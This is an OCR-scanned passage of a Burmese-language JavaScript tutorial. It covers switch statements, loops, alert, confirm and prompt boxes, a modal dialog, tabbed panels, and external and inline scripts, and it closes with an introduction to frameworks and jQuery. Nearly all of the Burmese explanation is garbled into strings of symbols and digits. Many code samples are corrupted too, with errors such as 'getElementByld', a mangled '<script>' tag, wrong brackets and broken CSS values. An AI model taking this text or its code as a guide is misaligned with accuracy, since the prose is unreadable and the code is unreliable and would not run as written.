n ` ° e Co ° Ç cos ` ÇO ` e x co o o c 

switch $32c[8530 0960960026002 Q02029€:0092G0:000:02 $:$ AP case F$ 
ero e e e e ` e ç e 

eoqp(8: REIPI GAON 320294900209 0290:02926900 [ešoloooŠi slefoxg today UN 

e e ç o c P 

monday, tuesday, wednesday, thursday mora poros say ("Boring 

° e e e ç ç š ey ç O Ç 

weekdays") OP COOGSO0CGO:O20:Q0O [ešoloooŠi 3200096] today M friday (89360559 «6 

o e ero ° ` e e cos e e e ` 

say ("TGIF!") op 32090 coó Š: break 0960902320905 63220900 OQ|ŠO239C0OGO2 COOSCOOGO09O 

0903290: eooli 0203090) case 029996602 9660»? default: dsp R$: |ô: 93639905.00693000: 

022 60303 som07060:030:900(90 olosi 


Loops 
0309020906s006qi09 6020? coóəlcoóəlcoOecoopsəə] Loop 6030305: 40109051 69300039000 ¿col - 


while( condition ) { 
M Celo this unei Condition raise 


) 


. < ° <Ç < QO Ç x ees ç < ç el ^ S < 
while €80090000509€:32060050090 Condition 0093036:60: 40100051 Condition e) 903 true (95 
es 9] 0720000509: 02902C:3996 32005 Block Òg e$:220:000:02 00039038J026020? codsloodal 

ç iN < 


bš co9co:eseo[s90loooóu $9 9200009 ceo[oco:coosoloooŠ = 
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<select id="months"></select> 


SS e sil 
var months = [ 
dana, LAS our "Maus ADEM, "May", Mun 
"sim, nop "Sep", wo "NOV", "Dec"] 0 


var data, i = 0, len = months.length; 
while(i < len) { 
data += “<option” t monthsilil + e ODE On 
Ti. 
} 
document .getElementById ("months") .innerHTML = data; 
</script> 


$HP while Loop 0): f: months Array 050000§8:60208 HTML <option> Element coo 
əə [eë ejyoc:[8: id="months" «$ e0:000:02 «select» Element Ù coobcoooooo[eóoloooSi še 
$ 0099036:3905: (9,000: o) innerHTML UNO: DOM Attribute ooóə[eóoloooŠši Select coÓcoo: 
o? Element à, Element Content o 00059038 innerHTML 09 so: [D|aloloooSi 


c c . 0 e IN b IN IN co c IN 
Loop 32c90c90292:009 ecocoo[o29o5oleoSi i à, 250390900$8:00 0 (s90looo9€ months Array eo 
° x ç ` c c co c . Q € CO C s 
Index 9 J 9402320203. len à 22059030040:006002 12 [89es9o0li i < len fosa 
true (59650550909 Loop o» vossas vlo Block Dm oooeoo$e(po»6:9o data 
Variable òo months [0] š e0lé:oSc00:03 «option» eolé:oop?c9o?olo»oi 30902009e[0226:90 
. co o0 2 (0 o o <Ç IN S. ceo c IN 
com i c0$0:09 ++ Operator o»:(8: (o) o2:cooooloooŠi alelomé i 02§8: 0 oes 1 [sdoyo 
c c oc c co 4: o e. € € . ° C SN . IN ° 
68003059 [0360050968 Condition o? (G§odes0:0los051 i < len o? c00090)39l i o» 1 [9063(8: 
< `n‘ C x < c < ° ^ 
len men se[yoc: de 12 (8603320205 true (89650le22: 0205 360%) Loop Block odo 
c e IN ° IN crog c epe ç 09 god ° crog ec Q . 
co9esoo6qjo036090? 6g203028[086 coocoo[osoloooSi 3so5:š Loop o? daso: «option» 
c ° o . co IN o Oo IN S_o . co c > oc . 
0289 O3:030:0008 i Od§G:0095: (o) 09:09: opo:oloooSI ešoo5s5: i 0r§8: 12 (90070: a$ i 
< len Condition oo (12 < 12) => false [eŠoəo:o>səooo5 Loop as: q9ago:eo(s9olo» ou 


while Loop o? 0632809:co3e(026:000:0? do - while Loop cop: olo ameo Loop o? do 
` ° š fel ° ` Ç O Q 0 Ç e ç ` . 

Š o(8: while Condition o? Loop Block ego0o? 9c9o$ooo(s$olo»oóu $9$09060:000:02 while 
Loop o? do-whileà e[s: eq: qieg: q90li 


do { 
dara opio months Mi s eK mts 
“Bara 

} while(i < len); 


while à do - while o9o99o:00000! while Loop eo Condition o? 32€685:99(8: asoge Loop 
Block o? saqsa olos do - while goco Loop Block o? sag caddie Condition 02090000] 
slefox¢ Condition § 280860808 026(03660>70[(Gd0cg s0095095(8: egada coge Condition eof 
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@ pS: vfa eoio]: do - while Loop oo səob:oColoooSi for Loop cops: 
§oleao:00051 69300039000 ¿ol - 


Tomte Condicion Increment) =f 


) 


T à ° M oc c ° x c o ç oc ;l ç cO ce. e 
init espe Loop oooes0:00?324|$ Q cog oa peo: golon odo ðn go I 
condition 02600? while Loop o» condition c9olów Condition q true (8$6$25$| Loop 
Block o? oo6slcoósl (0$e9960:es eoo(8$0lo»o5u Increment eG PCN Loop Block o? odos 

c cre oc c Ç x e e ç o c e ç ç sos ° 
SəcoÓ coO(9: 096: O: cog 026502C 9023/0520? 200390360: qolo»o5i eo5(08024 9400? for 
Loop à ef: es: 605896 329c9 egra: ódon 


[ere iF) { 
data += "<option>" + months[i] + "</option>"; 


} 


init @ogo:coo:o> i = 0 M VVW: ða asgi condition s90Qa3e0:000:03 i < 
> < ° ° < c . o: > > IN 

lená 096s0:(8: Loop Block 02«003090290:900]i i++ 07 increment 32684 60:000:02 320205 Loop 

Block o? o»9[098c99(8:026: i 00§8:03 (o) 03203:602090:62(860lo0051 slefoxg Loop Block cog 


i++ 000 es, ospec?cooolop: II 


4.7 - Pop-up Boxes 
JavaScript Program eo2gocdaadq6 Pop-up Box 602000903 6:3905:(0,8Eclos05i Pop-Up Box (e 
Josi Alert Box, Confirm Box š Prompt Box c2o[eóoloooŠši 


Hello, World! 





9 (ç-c) JavaScript Alert Box 


Alert Box 9060»? 9 (ç-c) eocoeo[ocoo:ooco ceo|ocoo Message š OK Button 0209 oloéeo(880l 
0001 Message eo5(po» coloso: fs: [solon 322: fo q alert("Hello, World!") ca 
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GAED: 60: qoos Browser o» alert () Function 609.0008 Alert Pop-up Box o? ew (96:29: 
° Ọ oc c 


gool1 "Hello, World!" egqogo &92209sp Message 0200p9996:&60lo»o9i OK Button o? $6c909q6 
Pop-up Box (0$ 803330:90011 


Are you sure? 


Cancel 





9 (6) JavaScript Confirm Box 


Confirm Box meon Q (5-0) eoeeo[ocoo:ooco Message 00698 OK / Cancel Button 409 olocol 


oos 32: OK button o? &óq6qco$ true o? (9460: gofes: Cancel o986q66002 false 


(9$e0:9oolw seo»:[ojop(Qeo:coo0? true / false oo$8:eoleoop3(8: feo ana 
esooé go «eo [solos puso - 


var result - confirm("Are you sure?"); 
if result ) { 

// do something that you want 

// to carry on if user click OK 
} else { 

// do something that you want 

// to carry on if user click Cancel 


} 


Confirm Box ec3(960:02000 confirm(" Are you sure?") 38033986:(g60lo2051 $9409 a:f $6 
Oo Ç x ere o IN o : > So IN ° 
cooo Button eol eoopX(8: eg one true / false o» result Variable § 00384 02000:01o0051 (8: 

° c ° e Ç x e Oo IN co : ° IN IN 
come result o» odeca: |ô: DIECONONIAN so0d070@ if Statement $9400? eo5(pooo:olo» o3 
"Are you sure?" sores peo $p Message o? 0093036:39053(0,8éclos05 


What is your name? 








Cancel 





Q (ç-so) JavaScript Prompt Box 
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Prompt Box eosoo9o Message 00091 orgascopsc3qo3 Text Box 009% OK / Cancel Button 509 
oloé closoSu 


var result = prompt("What is your name?"); 
TE (C result jh { 

// do something that you want to carry on 

// if user type something in textbox and click ok 
} else { 

// do something that you want to carry on 

// if user type nothing or click cancel 


} 


3905;(G|9900 Cancel o? SSc805e6 Blank String ( "" 
qÊ som Textbox cg $0300p9000:0200$0:09(0$60:900li Confirm Box gò qoo 
Variable à coo$8[8: 25$600322c9 soose voo: 


° 


) 06903 [oŠco:eo[eóoloooSi ox o9 $6c905 
Š 


Pop-up Box coeo[oa|šoo Default Value 2094 Text Box cogo cop2o2é : des 30800 Parameter sees 
` e e oc ç . 
Š copso3E:60:86olos05i 2089 - prompt ("What is your name?", "John Doe") 


3o (026:qj$:3o0: [66 Browser o» Pop-up Box moco amore: osian a eş 0) Code cooo aan 


q$000:ec9 Qolooo3i aeos: (oopoo Pop-up Box o» Button NEORI s003co036s006 goesa 


60303 3005096030: 0200 slefoxg 3 Pop-up Box cooo e[eŠecsc0səOoososoos:[o|ooColoooSi 
Website 32qp:ooo JavaScript à Build-in Pop-up Box coosəoo: cŠ: (99293000: 0§ 09:000:0) Modal 
Dialog Box eo202093eos:[o|coo(p20lo» o5 agj$eoo302c093: AGAR, Qoeoqogo:eaooc Modal 
Dialog Box 0009 0099630003009 SNA co(9so:oleVón 


4.8 - JavaScript Modal Dialog 
Modal Dialog s9ooo ó (ç-e) eo[ocoo:o5co Page coŠəcš:o2səceəocajcooo[Ó: səcooSoocoo[ocoo: o) 


° ° 


Dialog Box eco:00903(8: 06:68 a0c8[gdes20Ee05(G03 Dialog Box q. Ref Lightbox ca 
cops:eeT [o30lo»o5u 
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<", Javascript Modal Dialog - Mozilla Firefox 


Javascript Modal Dialog L+ 


Contact Me? 


Your email 


Your message 











6 (ç-e) JavaScript Modal Dialog 
bgv: o} Dialog 09S 6299024009 Code so (009324 09ec3(060: c90$0lo»o3i 03:0508:220(0209 0t 


<!doctype html» 
<html> 
<head> 
<title>JavaScript Modal Dialog</title> 


<style> 
Emi 
background: #efefef; 


} 


body { 
font-family: Arial, Helvetica, sans-serif; 
color: #3337 
width: 500px; 
margin: 30px auto; 
padding: 20px; 
border: 4px solid #ddd; 
background: #fff; 


hl { 
margin: 10 
padding: 8px; 
font-size: 21px; 
border-bottom: lpx solid #ddd; 
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Pi 
HOME Sele =. D 
line-height: 1.5em; 
} 
button { 
padding: 10px 20px; 
} 


/* Dialog */ 
#overlay { 
position: absolute; 
COP: 0; 
ete 057 
width: 100%; 
height: 100%; 
background: #000; 
opacis 0B 
display: none; 


) 


#dialog Í 
position: absolute; 
Cop: o 
Lefts 35%; 
width: 30%; 
border: 4px solid #ccc; 
background: #fff; 
display: none; 


} 


#dialog h2 { 
margin: O; 
padding: 8px; 
background: #ddd; 
font-size: 17px; 

} 

#dialog h2 span { 
display: block; 
float: ELONE, 
padding: O0 5px. 
Color: e22; 
cursor: pointer; 

} 

#dialog form { 
padding: 20px; 

} 

input[type=text] { 
padding: 6px; 
width: 90%; 

} 

textarea { 
padding: 6px; 
font-family: Arial, Helvetica, sans-serif; 
width: 90%; 
height: 140px; 
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input[type-submit] ( 
padding: Opx LSpx; 
margin-top: 10px; 
) 
</style> 
</head> 
<body> 
<hl>This is my awesome website!</h1> 


<p> 
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod 
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, 
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo 
consequat. 

</p> 


<p> 
Ut enim ad minim veniam, 
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo 
consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse 
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non 
proident, sunt in culpa qui officia deserunt mollit anim id est laborum. 
</p> 


<button onClick="showDialog()">Contact Me?</button> 


<!-- Dialog --> 
<div id="overlay" onClick="hideDialog()"></div> 
<div id="dialog"> 
<h2>Contact Me? <span onClick="hideDialog()">stimes;</span></h2> 


<form> 
<input type="text" placeholder="Your email"> 
<textarea placeholder="Your message"></textarea> 
<input type="submit" value="Send"> 
</form> 
</div> 











<script> 
function showDialog() { 
document .getElementByld ("overlay") .style.display = "block"; 
document .getElementByld ("dialog").style.display = "block"; 
) 


function hideDialog() { 


document .getElementByld ("overlay").style.display = "none"; 
document .getElementByld ("dialog").style.display = "none"; 
j: 
</script> 
</body> 
</html> 
poa ú ú <p> Element eopoóeo Content a»($90005256:000:0? Lorem Ipsum səegqo> səaq|o5səcoošeogo 


Dummy Data c$eslolooo3u saglase folg: ¿esoo (809226:822052205 soəo5:[o|[o2ecogoloooSi op: 
y Pala Op Š OM?" FOF % SBOE Ol 29 i 
0906: 02002329] 3231602093209$ 9$ 6326 09: 000269 opea ol: 469009«00043200:09: 06:200&60lo» 091 
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HTML Structure Rean opo Dialog Box 0§03:8390205 Element 0204}, 00092296:000:0loo05 t 
«div id-"overlay"» meo Page o9 seegoéqjeo:o) Layer ordcodsaeg§ soo>:[ola co 
oop?ogé:coo:0000|! «div id="dialog"> meo gomecajos Button o9 ¿09060079 Modal 


Dialog 32634 ec3(9eoqj6o? Element [solon 


CSS Req onp olt foverlay esp #dialog Bol position: absolute; 9905905000:0] 











ous toverlay Q width: 100%; height: 100%; o209909000:6009 Page 0r905:036:396 
jl ç ;| ° x o ç Co c yn ç ° ° ` 
Sgo:eool| oooŠi slsoeo2 opacity: 0.8; cQ 20390909032020 9965009909690? Element coo 





o? 06: coeoo[eccoo, caqeooloooŠ! 


#dialog se036:09 <h2> Element ð <span>&times;</span> QO: comal 
&times; oo sae[go03o0e0500 (x) o9 HTML Symbol sa6$8c095036:000:022{860] or05 Close 
Button 35684 aeos: (occ? 0099996:000:0000]i 


gosajos uu cursor: pointer; 20) CSS Property 099 300): fejo: ovS 338 Property o> Element o? 
Mouse à o$c909033s9| Mouse Pointer o9 Ao (o5 2668002030 c205291:228000:0306 ee 2090: 
se & 600205090502329 s > 692:068[029[:968 60» 050 Q»[:9g4000:0206 eo5|oco:99o: 

0o 


gool 2225: (9|op 6020 3388 Pointer o9(g6q6 80c9«9$:3»c9c920620ocolo3(o30lo»o5 n 
1 2919.80 ° Í t Se 3 281995 [^f 


showDialog() à hideDialog() JavaScript Function 69 oloóoloooà» showDialog() oo 
overlay à #dialog NÀ Display Style o? block 07660: 0 lo ón hideDialog() 006002 











overlay à #dialog RÀ, Display Style o? none coÓco:oloooŠI showDialog() Function o? 











«button» àQ onClick @oes[coo:o>əəogo5 «button» o? aqe Dialog Box eolcooeooli 





overlay oleolcooc? Page o? 326906qjo00:0203 09 ooóqeo9o [ešoloooŠi hideDialog() 026002 























dialog odo <span> 4, onClick 9o eel o00:20c9 overlay š onClick eocooŠ:eə[coo:ol 
Ox OCOC NO COQC 


mn slefaxg Close Button (x) MO 4080 #overlay 0208680 Dialog Box oo (9$ eqpo5o2o: oo 
c ;| ç MO o Ç x` : ç n Cc QOCO @ C jl 
(850 mn 3809:4 Modal Dialog 329632005 AVOG&CY 00060:000:0200lll 














Sepp səog:oooo[o|eea|éoooooŠəoo JavaScript səəšosóooo5ScoOeo:oəoo:ooooo "R qse" ooo 
c n o o e e IN e ecos : e Q9 
c9960:292:0000li Dialog Box 9é[5$6320602056s0203(86:3 Dialog Element eo epo: ei: 
CSS oo 096030: 001 32956002 eol Qeqpo$8s9030506s006qJ03600069 CSS 320932098 JavaScript 
e e e e ç o ° ° 
maa qonli slep CSS ooo User Interface Develop eo eor5c0r5ec0: seg: lons apon 
(o¡soa¡é oloooši 


esoo$00089 $96coo09 ooóóec?(0q[60leoo: S 
$202000894000996c0005 0006602 Vacolco:ma 
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4.9 - Tabbed Panels 
Tabbed Panels s022 Tab o»990986c909q6 Zoe Content eLo: eeo: Interface 


osd]: B8clonaS 


<", Tabbed Panels - Mozilla Firefox 


í i Tabbed Panels L2] 





Panel Two 














9 (5-9) JavaScript Tabbed Panels 


$9 6) $° IS Tabbed Panels go Tab ¿093 Panel aëəoloooši Tab RÓS 
bin Ed o? P efc: Degfed Code op coeo[oco: c9o$0looo3i 


<!doctype html» 
<html> 
<head> 
<title>Tabbed Panels</title> 
<style> 
body { 
font-family: Arial, Helvetica, sans-serif; 
alos 22. 
} 
cab par í 
list-style: none; 
margin: 0; 
padding: 10px 10px O 10px; 
background: #c22; 
overflow: hidden; 
} 
ap par Tani 
padding: 8px 20px; 
oat et 
MaLgim=right: 8px; 
background: #fff; 
cursor: pointer; 
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-panel { 
min-height: 200px; 
border: 1px solid #c22; 
border-top: 0 none; 
padding: 15px; 
) 
#tab-2 { 
background: #e55; 
} 
#panel-2 { 
display: none; 
} 
</style> 
</head> 
<body> 
<ul class="tab-bar"> 
<li id="tab-1" onClick="switchOne ()">Tab One«/li» 
«li id="tab-2" onClick="switchTwo () ">Tab Two</li> 
«Zu 
<div class-"panel" id="panel-1">Panel One</div> 
<div class="panel" id="panel-2">Panel Two</div> 


<SCr ipit 
function get (obj) { 
return document .getElementByld (obj); 
} 


function switchOne() { 
get ("tab-1") .style.background = "#fff"; 
get ("tab-2") .style.background = "#e55"; 


( 
get ("panel-1") .style.display = "block"; 
get ("panel-2") .style.display = "none"; 
} 
function switchTwo() { 
get ("tab-1") .style.background = "#e55"; 
get ("tab-2") .style.background = "#fff"; 
get ("panel-1") .style.display = "none"; 
( 


get ("panel-2") .style.display = "block"; 
} 
</script> 
</body> 
</html> 


° <ç “ O OÇ OQ Ç GC < ° ere ç c o < o Ç x 
3gp: JavaScript o» Tab o» ëóocoogé Panel 02990?693(8: 03J$0299 0? epeo: 09020? 

c < <ç o c c ;| IN o > ç . O 
coOesooca|o5o225o coÓco:ooo:ooo[sóo om 39900030? Tabbed Panels Interface ao [009326096009 
CSS 220): [9002 esooo$apo:(se:(s$0lo»o5u 


e : š o ° ° ° : oq eg S x iN IN 
oo5a|jo5 uu onClick Event Attribute o2op:ooo:co Tab o» Click $096 cooo Panel elgoc:s0:000l1 320096] 
. o Ox M co fC 2 c CS : 
Click $óe«»ec?ó Mouse š coms eC: eog q eo onClick 6093295: onMouseOver 
Attribute š 3202:09: c909090l01. 08:220(0209&60looo5u 
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ç o o ° e ;| e jl e e e x i ° 
co: [so:a|o5coe[oocoqosoaóajo5o ocola ooóəoo CSS y .panel 320900 min-height o? 
222: [o| coo: [e c: [sëoloooši min-height on Minimal Height s9o33o89loSolu 9:4: height 
` ° e x O ç e O ° e c Oo c e 
006002 IM Content o? e(p29360229$|ge09 Element seco? vercnsa08s9030005g030$05020{86 
ç . š e ° ° e Os e e c o [e] 
olosi min-height Meo 32$09:99: 99H O0IMARÓ ANNO Content cooqp:cooco 
e e e ` score c o c e coc ^ e e 
Element seco 9505909000:02 0eoapoo090 (86222: 605 Cop: (8$ 86eoeoo(g80lo»o5u 


egoo3oo$qjo900e009 JavaScript o39oe«:220:000:0) get () Function O(g$0loooà» document. 


me T ç x ç Q o ç co : o e... 
getElementById 0249020232090» AIMAR CO get () Function o? 00p2929C:Gq:220: 
o c ç ç : ç e ` 9 ç 28 M 
Q902002 [ešoloooŠi get () Function 00p229C:60:Co202 Parameter Ra e: document. 























= 


getElementByld 009 copdozc:(: return (0$60:c9 document.getElementById co acne wm 


ad: eqe qosoa: get () o? 3200: 09:3299:(0|&6990:0lo» 5i 








IN oS : o T ° x jl NL M ` e e ç ° S S 
gajos ú ú Function cogo? 6a! opseop:aqjopaee! Function ÒQ 6$:2»0:000:020906802CqJ026090? esoocgo? 
° T ° 5 ° ç co e ^ e o ;l ç iN cox co O 
agozapem celop3299:9[0268 pao: 05$0:006932(à(0$60:6c9$]o oò Lco: cogo) $0: return 
Keyword o3:(8:6q:220:&60loooóu sams) return Keyword ob: (8: 02§8:[(Ggeco:96 JavaScript o» undefined 


o o ee. ous "PP. $ol ç 
o Sa2op32ccapoo (9$60:030:905[900 ONO II 


ç c c A oc O iN ° S OCA ` ° ç fe 
oqj$32090000290:Q ZEDIÓMACOR — 006052909000960 comico: Code o(o305q(8: 
soobcoo5ecocoocoaj|coloooŠI 


4.10 - External JavaScript 

JavaScript Code eo90? HTML Document c3go «script» Element o5:(0:0009296:6«:220:$6(86: 
° ç M e . ° r . M e oc ` ç 

o? gege n JavaScript e909 . js Extension c0:000:0? oŠ: [so:8CəocsšcooS:eg:ooo: 
° jl ç "o 0 06 ` . . ° o ° ç ° ° e y 

Salon 2930908: (30:69:000:000:03 Script File cn ajo5soo5səo5: [083207205 <script> 

Element RÒ 93:@0los051 


<script src="script.js"></script> 


src Attribute oo $jo3so033eo5:(9]c9 0? Script File o? 094:60:qgo[s$0lo»o5u 


yaa i 1 External CSS File cogo? [0950058320903 «1ink^ Element 0? seos:(gjqoloooóu <1ink> Element 
ox Empty Element 0269[gdclos05 «script» Element meon Close Tag 00p9296:60:8 Aso aofo] 


olı 


<script> Element eo src Attribute oleéi Browser oo src 9099$:000:02 JavaScript 602036 go? 
32090 aseo: eo[s$ olo» 1 src Attribute eoloée22o «script» 30963 </script> 2200 

` ` ° c c c IN e s IN e 
(02:990 €$:220:000:02 Code 6020932 09009060:eo[s90lo»ou slefoxg src Attribute copjoyc: 
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` à c o Ç x : ° ç < < ç c c 
000:09 «script» Element 3596320050590 JavaScript cog OHR: 69.000: Ep: 3909009090 


60505 olo: 


4.11 - Inline Script 
onClick co Event Attribute &o36096q:000:0? JavaScript cooo Inline JavaScript esT 86 olo»oóu 
JavaScript o? HTML Element §:5909030036q3000:0200I Inline JavaScript o? «img» Element, 


«a» Element RINA: 030036: 220:09qo0 O05 


<img> Element š src Attribute oo onLoad Event Attribute š soColoooSi Browser oo Image o? 
ero ° ` > : ` e e ç O e e c IN 
cooo (3:00: 030658 src Attribute goe0:000:0) 05029098|020? saasa eo: ag: fedos 


«img src-"javascript: doSomething()"> 


&Q409o src Attribute 320200 Image 029960:6000:0 JavaScript Code 6020009296:681220:000: ol 
od eQ0»es javascript: 38.03 Keyword cco:ë Š: @9:60:q0]00051 Browser o» Image eo5(08 
src Attribute o? 3209609602328] 60:000:03 JavaScript Code co Run ogo:eo(s80lo»o5u 3294 
MENA! S503:000 ġo S:a: co eooo5olog: v dog Developer 06609005 3əcş JavaScript 
Code coo Run 8 <img> Attribute Bod:658 ec0səÓolog: səob:[o|oooo C99990:09256090022099:[02 


O SQ i: aS] ç 
o2 $99:006:009 Qj]: (590 ODOOIl 
<a href-"javascript: doSomething()">Hyperlink</a> 


$@§002 <a> Element à href Attribute oo 290229: 08000900p30 javascript: Keyword o2o»:(8: 
JavaScript Code co» 0099036:000:010005 3905;(G}9900 Link o? ¿00333911 Browser o» href 
Attribute 90 990503000203 səcoóoocooo[o3|: eo: 03390205 JavaScript Code cops: Run ogo:eo(s90] 

ç 9 ç nQ < 2 ° € ` c o <ç C, nofe x° 
m1 $§05:03 com An: Paeon «button» seo: Link 026903 oss: V|: 398 


O oç Ọ c 


Link o? $6c909q6 Button o? 85000308 səcoócoocoa|Coysəə] o5:0lo»oóu 

Inline JavaScript 020COp9: Inline CSS 08d @95200603$95:006:0069(960lo0051 JavaScript cooo 
Element 6024 e«pes:ooo:o23eo909 fois: Ss: soeo&ColoooSui slef ooessoə8]$eo! 
onClick coco Event Attribute G0R036029609}:(03.¢02201993 t Event Binding odes! o3$05:0$6006 
q op:(8: JavaScript cooo HTML osescà:oƏcoo5oel:oso:coo[o2olooo! Event Binding § 2510808 
eq:000:00 3298: (9) jQuery eo ceo[oco:cleoši 
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Conclusion 
JavaScript oo document .getElementByTd () ə [oc ao(go: Selector coo: oleo: 2060 


document .getElementsByTagName () 
document .getElementsByClassName () 
document .querySelectorAll () 





$@§06029009:903 style, innerHTML RAS DOM Attribute cooso [oc title, alt, id, 

class, value, type 007 coÓesooca|o5coocooŠ: §oleao:00051 3leoe0S| mega] 39:09:09 

o ° : ` ç co ` ° ° ° ofre. o 

QQ: JavaScript $ eq:¢$0033900: 3000646809 Framework coge old: səo>:[o|ooooo 86:08 

copo (e§s0§c092(9d0lo0051 $329$:90 JavaScript à Language səc[sšš HTML/CSS 09890030068 
° ° IN IN c ç are Co x c IN IN oo ° Oo ° 2 [Q 

2% səƏoocoo: efs: kdos o[6:[bošeoycoOesoocajoScooq9@ 3c930o(8$60225:(8:6q:65 02^ 
e. o ° ° oc IN e c IN 

0003 jQuery co Framework cogsəo5:[o|[Š: eqo: esaf ze: (9) so soošcooSccocooooo: (034^ 

kidi 


Mega] NodeJS eslo) JavaScript o? Server-side Programing Language 3264à a22: fogs 
esc $e0:000:03 &p3:Oo5ocoo5colcoo[eC:šs2ooi JavaScript àaəəš:oogpooocoo5: csm 
Software Development oo BGO! sael ðn JavaScript o? Client-side Script ao (59220 
eoo Command Line Tool coocoo5esooo[e G:! Web Server pesn E:S Network Service cop 
sesos: coócë: @j|l:eoəsəooo5ol 22:0301 NodeJS, BackboneJS, ExpressJS oo) 
aaee olano} JavaScript səc[e le] ¢903006 Development popeo oA: Rockstar 
Developer à 3906: (2) 9o 6039000: 03390205 800300036c9000250: 026 e[0206: soo (p olor 


E goos 

RS SS 
$88,038 opóspcgpiogó (00,000) od |g¢ 
ooSa28ScloopS sooSopoSaš - ca$eso:(S|Seoco 
(0g) go Wo Jg. (08) Jay GJE 200 
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3994: (9) jQuery 


Web App qp: co|e[ešeocooSesooo5q Š sa@q20l009995:0909 


JOO J PRÉPAS ooooS:ooóGooCoo Macromedia o» Rich Internet App (RIA) «90 səo3:sə8: 
c ° ceo € Ss IN e gy ° c e IN e ° ` 
020902 o0o6805200$30looo5i zacon HTTP o» 80030205 69: §09:099030(96 ap:000:03 App 
IN eec IN co c IN e IN c coo c 
qp: o2p5es0005(86:§05:09000064]]:(850lo.051 3 RIA Concept ga[Jasse0 saq gq Web 
Standards 990500058 333394)§g20q86co0:0lop:1 Web Standard $95:0900 copígdo) HTML, CSS, 
JavaScript 02000 3260956c0:3ec[8803/es 8: App 60290c939002 səc[ešcoó csoocajoocoooo 
esoo6 go9eco:&Colop:u coa|éo>coóesoocajoqpp: qi 32600:00500320 020309668: 000:0$09:q02 
o ;| IN ` x0_ € OC ç Oo c IN c eme oc IN e 
9960209 olo I mijas 336es0o05c9ooo[596e0e09! wigs: 96:505 (86:60200320 
° ç oc c Q c IN ceo o c ç Q9 c c c c IN coco c 
NACEN $2209 [sesolo alejo Sc9320qJ050? NMÓNNNÓNION (803905868320205 
Macromedia Flash (sag Adobe Flash), JavaFX à Microsoft Silverlight RS Plugin § 2920909602 
coleolo5cooàoloooŠi 


&:eo Macromedia o» Adobe àcolé:252:c9 39960»? Macromedia «8903350 005: 39005806 
*3 e e $ :9g92:C0 l $ ç a 07328,0p9: P24) 
3986:0069(96030: ou 8:e000 regseoo RIA Sm: o0609:00609 clones comolan: 1 
(° l ° š z als x ño $ z (° 


05 
L 1 É 
$: eal [o3clos05u 


ya wu ego 


o 
0 
L 

° 
cono Adobe 6,320 
€ 


Web App 096 90%: 


Flash, Silverlight 2050 § 2920999602029 Browser Plugin efas mms: 
Audio/Video Streaming, 2D/3D Rendering savlaa0é s [so: eo) HTML oscoOeco:aCop 
c e c o IN IN oc IN IN ° : ° 
Ocata nco (803905 eo:&é(o20lo»oóu 3leoeos soos: (oopoo Plugin eogo? Browser co2ço 
Install co9000:9200 2225: (o gto [sëoloooSi Plugin $05:0p»2eoo(S$c9 saar§,s90005602 965 olo»oóu 
poe - Microsoft Silverlight LaS Linux OS 9o a2c99ecoO0lop: t Adobe Flash 80095: 
G500906: Apple Product coga en olo: i (8:602 Ssp5:oosocoooo Adobe, Microsoft 320 
` eS c cC oore `x IN c IN ç Oo IN o 
03 c96c$:00$9qi6:30602 sp3:opooeoo(S$6esoloooà: Standard ema ¿Aopen [mad 
so [ošs°coš q:60l6:6s006go5 $686: 0095: 0G 01093 1 
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JOog- Joos ccooo5ooo 8: Plugin &$99:09206093200:! HTML à Web Standard Naeff: Rich 
Internet App coges;: 900: c9q $60) JavaScript Framework co» oo»ceoleolo$coo3o0loooSu Plugin 
IN e Co e o IN e co c Oo CN ° c e IN 
$99:0920600205 (2996(56:e60ee eo? App 609 0292680003832090? 0932002 e[s seso q) 
oe IN oc IN coc IN IN 
6020) 3 Framework cogoo 3222660:$6coo0looo3i 6800306:90c00? HTML5 $99:0pooog colon 
° e : IN OC * : : : : X c IN IN ° 
(8: o»ec Plugin gp5:0p009Pp:a000060:8C0) Video/Audio, Multimedia oošcoocsooca|o5Goooo 
Standard fo: 40098 sə[oobsooco:aCcoo[ó[ešoloooSi 


$390§:90 JavaScript Framework eog S:a: H:A seq: aol: fedo jQuery sae: 
coeo[oo2o:ooo (8$0lo»o5u 


5.1 - Framework 
00008280: Library, API, Toolkit, Framework 30903 Terminology 60303 aqq: 


IDE 


Conven- 
tions 


API Patterns 


Framework 


Widget 


Utilities mes 


Libraries 


Programming Language 





Q (9-0) Framework Terminologies 


ç o U (8.x > ç Ad . . c IN IN 
09/$600309 (8:30232$:996c9c0080? JavaScript ooo Programming Language o»$9(890lo»o5r also 
eo? DOM Selector coz¿ DOM Attributes cogoloCo> $93:0p220? API (DOM API) c es[oloooŠšii 
API 0 Application Program Interface e, 39036020050] App coo oopseaoomsodaael 680030503 
0039602: 90302990ec90 Vasea Function Call ooëəccooo5š 32226q093295:(9| 
oc eco» ` e ç ç : c c cere e c IN 
¿Cesc 96c0:000:0? so5:oooo[eóoloooSi JavaScript o» Language 22052»0$2oo(89(8: (925905905: 
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opoo(s$o3 DOM API e[n aje DOM Manipulation o? C903 9030902 as gones 
oloooSu 


o e ° ç O Q x | ç IN ° oco IN ` ° 
(3, 0966q2990:000:(8: G&OCCOS2OO2329S (o§copSa005;(G 868 $009:000:02. Code coooocooo Code 
Library ca eal [30100051 9 (9-02) y eaan opon JavaScript Code Library cogo g9[036:q)5: 
g90:(86 408€: ARSS Utility Belo} saefgdchaadqjo5e0208 e«:222:9005:000:02 Library eog 
à Widget Toolkit coes[o> 320060): User Interface Component eo 99p9:000:0? Library 03 [86{o3 
olo»oóu. Library š API ogo[so:a|o5oocoogi Library onos Programming Language 0209518: 
> c IN ç Oo ` IN coc € o e SS coc ç 
9:00:03 Code ($$0looo$w megas sm: gfo golon cSaadqE[GEaoESEoloo05u 
API 607 wo Language à ‘al 2000! sa peace oŠ:[eo: Language &¢q:000:(8: c205$ Language 
coc 


Meg colona: (o6 G3206 boson: ¿GO? (S6: pu sate ooi so [o29:q|C:soo: [66 API o? NUS 
69,000: 000: 03 LENIN (S6: (0680886: :03 ? ela [096 SRo og: qo»3oo»:[o|8 o50925050ló1 


Code Library š API cooo Pattern coo Convention copà c0l6:00c90905326l Framework Ve: [eó 
coooloooSu Pattern ONNEN 3-Tires Architecture, MVC, MVVM sai Code cooo 
Organize s Sa aaee $99: :oaócoo[eóoloooSi $ $3 Pattern cozg osoagogops: :000:9 


